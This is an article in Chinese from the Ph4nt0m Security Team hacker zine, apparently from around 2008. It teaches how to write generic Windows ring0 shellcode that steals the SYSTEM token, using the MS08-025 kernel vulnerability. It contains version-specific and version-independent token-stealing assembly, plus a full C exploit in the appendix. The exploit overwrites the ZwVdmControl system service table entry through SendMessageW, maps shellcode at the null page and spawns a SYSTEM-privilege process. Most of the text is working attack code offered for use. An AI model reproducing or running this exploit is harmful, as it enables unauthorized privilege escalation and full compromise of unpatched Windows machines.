==Ph4nt0m Security Team== Issue 0x02, Phile #0x05 of 0x0A |=---------------------------------------------------------------------------=| |=------------------------=[ 编写通用内核shellcode ]=------------------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=-----------------------=[ By Tms320 ]=----------------------=| |=----------------------=[ ]=---------------------=| |=---------------------------------------------------------------------------=| 一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0 最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本, 引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出, 为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取 system权限执行级别。 目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来 获取system权限。比较典型的代码如下: if ( OsVersionInfo.dwMinorVersion == 0 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x44]//取当前进程EPROCESS mov eax,esi search2000: mov eax,[eax+0xA0] sub eax,0xA0 mov edx,[eax+0x9C] cmp edx,0x8 // 通过PID查找系统进程 jne search2000 mov eax,[eax+0x12C] // 获取system进程的token mov [esi+0x12C],eax // 修改当前进程的token ret 8 } } if ( OsVersionInfo.dwMinorVersion == 1 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x220] mov eax,esi searchXp: mov eax,[eax+0x88] sub eax,0x88 mov edx,[eax+0x84] cmp edx,0x4 // 通过PID查找系统进程 jne searchXp mov eax,[eax+0xc8] // 获取system进程的token mov [esi+0xc8],eax // 修改当前进程的token ret 8 } } if ( OsVersionInfo.dwMinorVersion == 2 ) { __asm { nop nop nop nop nop nop mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode) Mov eax,[eax] mov esi,[eax+0x218] mov eax,esi search2003: mov eax,[eax+0x98] sub eax,0x98 mov edx,[eax+0x94] cmp edx,0x4 // 通过PID查找系统进程 jne search2003 mov eax,[eax+0xd8] // 获取system进程的token mov [esi+0xd8],eax // 修改当前进程的token ret 8 } } 对于视窗操作系统,由于EPROCESS这个结构不固定,不同系统中system进程PID不同,导 致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本,实际是采用硬编码的 方式ring0 shellcode。这种做法的兼容性并不是太好,在同一系统不同补丁下,难免保证不 出现蓝屏。笔者利用上述代码,在非sp1的2k3系统上蓝屏,深刻体会到了ring0利用程序崩溃 时候的威力。 二、本地通用的提权代码 为了提高兼容性,就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可 知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。 提权操作将system进程的Token赋予当前执行进程,我们需要做以下的操作: 1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构,而ntoskrnl.exe导出 的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从 ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。 2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess(xp,2k3的 PsGetThreadProcess为同一函数)可以查找线程所属的进程,而当前执行线程可由KPCR+124h 获得,通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对 于不同版本的NT系统,KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h] 获取当前线程的ETHREAD指针。 3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定,需 要先找出这个偏移值,然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含 了从EPROCESS取Token的操作,我们需要把这个偏移量先从这个函数中挖出来。 对于win 2k系统,PsReferencePrimaryToken取Token的代码为: mov eax, [ebp+8] mov edi, [eax+12Ch] lea eax, [edi-18h] 对于win xp/2k3系统,PsReferencePrimaryToken取Token的代码为: mov edi, [ebp+8] lea ebx, [edi+0D8h] 虽然使用的寄存器不固定,但指令相对固定,可以采用获得PsReferencePrimaryToken入 口地址后搜索lea指令获得。再根据偏移为小于EPROCESS长度这一特性,取lea指令前后高位 两个字为0的操作数即可获取Token的偏移量。 综上所述,给出对应的shellcode: PsReferencePrimaryToken=80123456h PsInitialSystemProcess=80123456h IoThreadToProcess=80123456h; pushad pushfd mov esi,PsReferencePrimaryToken findtokenoffset: lodsb cmp al, 8Dh; jnz findtokenoffset mov edi,[esi+1] and al, [esi+3];判断是否为Win 2k jz @F mov edi,[esi-5] @@: mov esi, [PsInitialSystemProcess] push dword ptr [0FFDFF124h] mov eax,PsGetThreadProcess call eax add esi, edi add edi, eax movsd popfd popad ret 08h 代码中的常数PsReferencePrimaryToken,PsInitialSystemProcess,IoThreadToProcess 可以通过加载ntoskrnl.exe,由GetProcAddress在本地获取(需修正到内核地址)。附件给出 的完整ms08-025通用利用程序将给出获取这些地址的例程。 三、进一步提高通用性 如果需要靠shellcode自己获取API的地址,就需要shellcode加上获取API地址的代码和 获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的,ring3级的API引擎在ring0 下同样适用,我们可以通过API名称的编码,利用API引擎获取对应函数地址。ntoskrnl.exe 内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中,我们可以找 到不少ntoskrnl.exe中断处理函数地址。利用sidt指令,我们可以获取指向系统中断描述符 表的指针,进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中,更为简单的 方法是直接从[0FFDFF038h](KPCR+38h)内存中读取。 笔者基于上述思想编写了161字节的ring0 shellcode,成功用在了ms08-025的溢出中。 以这种方式实现的ring0 shellcdoe,可以不倚赖外部函数独立执行API操作,能够用于远程 的内核溢出中。远程ring0 shellcode仅仅在幻影内部交流,读者可以按照前述思想自己实 现相关代码。 四、附录 无需判断系统版本的通用利用程序,如果你打崩了,请联系我,我进一步做改进。 #include #include #pragma comment (lib, "user32.lib") #pragma comment (lib, "ntdll.lib") typedef LONG NTSTATUS; typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID); ZWVDMCONTROL ZwVdmControl=NULL; DWORD PsReferencePrimaryToken = 0; DWORD PsInitialSystemProcess = 0; DWORD IoThreadToProcess = 0; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation=11, } SYSTEM_INFORMATION_CLASS; typedef struct _IMAGE_FIXUP_ENTRY { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; extern "C" NTSTATUS NTAPI NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG AllocationSize, IN ULONG AllocationType, IN ULONG Protect ); extern "C" NTSTATUS NTAPI NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); extern "C" PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader ( IN PVOID Base ); extern "C" PVOID NTAPI RtlImageDirectoryEntryToData ( IN PVOID Base, IN BOOLEAN MappedAsImage, IN USHORT DirectoryEntry, OUT PULONG Size ); void ErrorQuit(char *msg) { printf("%s:%x\n", msg, GetLastError()); ExitProcess(0); } DWORD GetKernelBase(char *KernelName) { NTSTATUS status = STATUS_SUCCESS; ULONG i = 0; ULONG NeedSize = 0; ULONG ModuleTotal = 0; DWORD dwKernelBase = 0; PCHAR Temp[10]; PSYSTEM_MODULE_INFORMATION SystemModuleInfo = NULL; status = NtQuerySystemInformation( SystemModuleInformation, (PVOID)Temp, 10, &NeedSize ); if( status != STATUS_INFO_LENGTH_MISMATCH ) { printf("NtQuerySystemInformation (first) failed, status: %08X\n", status ); return dwKernelBase; } SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize ); if ( NULL == SystemModuleInfo ) { printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() ); return dwKernelBase; } status = NtQuerySystemInformation( SystemModuleInformation, SystemModuleInfo, NeedSize, &NeedSize ); if( status != STATUS_SUCCESS ) { printf("NtQuerySystemInformation failed, status: %08X\n", status ); return dwKernelBase; } ModuleTotal = *(PULONG)SystemModuleInfo; SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4); for( i=0; iImageName, "ntoskrnl.exe")) { strcpy(KernelName, "ntoskrnl.exe"); dwKernelBase = (DWORD)SystemModuleInfo->Base; break; } else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) { strcpy(KernelName, "ntkrnlpa.exe"); dwKernelBase = (DWORD)SystemModuleInfo->Base; break; } } LocalFree( SystemModuleInfo ); return dwKernelBase; } DWORD FindKiServiceTable(HMODULE hModule, DWORD dwKeSDTOffset) { PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_BASE_RELOCATION ImageBaseReloc = NULL; PIMAGE_FIXUP_ENTRY ImageFixup = NULL; DWORD RelocTableSize = 0; DWORD i; DWORD dwVirtualAddress; DWORD dwRva; DWORD dwKiServiceTable = 0; NtHeaders = RtlImageNtHeader( hModule ); ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocTableSize ); if ( NULL == ImageBaseReloc ) { return 0; } do { ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION)); for ( i = 0; i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1; i++, ImageFixup++ ) { if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) { dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset; dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase; if ( dwRva == dwKeSDTOffset ) { if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) { dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase; return dwKiServiceTable; } } } } *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock; } while ( ImageBaseReloc->VirtualAddress ); return 0; } void InitTrampoline() { PNTALLOCATE NtAllocateVirtualMemory; LPVOID addr = (LPVOID)3; DWORD dwShellSize=0x1000; unsigned char trampoline[]= "\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22" "\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24" "\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D" "\x61\xC2\x08\x00"; NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory"); if( !NtAllocateVirtualMemory ) exit(0); NtAllocateVirtualMemory( (HANDLE)-1, &addr, 0, &dwShellSize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); if( (PULONG)addr ) { printf("\n[++] Error Allocating memory\n"); exit(0); } *(DWORD*)(trampoline+3)=PsReferencePrimaryToken; *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess; *(DWORD*)(trampoline+0x24)=IoThreadToProcess; memcpy(NULL,trampoline,sizeof(trampoline)-1); } void GetFunction() { HMODULE hNtdll; hNtdll = LoadLibrary("ntdll.dll"); if(hNtdll == NULL) ErrorQuit("LoadLibrary failed.\n"); ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl"); if(ZwVdmControl == NULL) ErrorQuit("GetProcAddress failed.\n"); FreeLibrary(hNtdll); } int main(int argc, char **argv) { //PULONG PntVdmControl=0x805F0DB0; DWORD PntVdmControl=0x80800458; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得 PVOID KeServiceDescriptorTable = NULL; DWORD dwKernelBase = 0; DWORD dwKeSDTOffset = 0; DWORD dwKiServiceTable = 0; DWORD FuncNumber = 0; HMODULE hKernel; char szNtos[MAX_PATH] = {0}; STARTUPINFOA stStartup; PROCESS_INFORMATION pi; printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n"); printf("\tBy Tms320, Tms320@ph4nt0m.org\n"); printf("\tAll unpathched OS can be compromised\n\n"); if ( argc < 2 ) { printf("\tUsage: %s \n", argv[0]); exit(0); } GetFunction(); dwKernelBase = GetKernelBase(szNtos); if( dwKernelBase ) { printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase); hKernel = LoadLibraryExA(szNtos,0,1); } else { printf("GetProcAddress failed, code: %d\n", GetLastError()); return FALSE; } KeServiceDescriptorTable = GetProcAddress( hKernel, "KeServiceDescriptorTable" ); if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed"); printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable ); dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel; dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset ); if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n"); printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase ); FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1); printf( "ZwVdmControl Call Number: %08X\n", FuncNumber ); PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) ); PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel, "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase; PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel, "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase; IoThreadToProcess = (DWORD)GetProcAddress( hKernel, "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase; InitTrampoline(); SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl ); SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2); printf("\n[+] Executing Shellcode...\n"); ZwVdmControl(0, NULL); GetStartupInfo( &stStartup ); CreateProcess( NULL, argv[1], NULL, NULL, TRUE, NULL, NULL, NULL, &stStartup, &pi ); //此时创建的cmd.exe是SYSTEM权限 printf("[+] Exiting...\n"); return TRUE; } -EOF-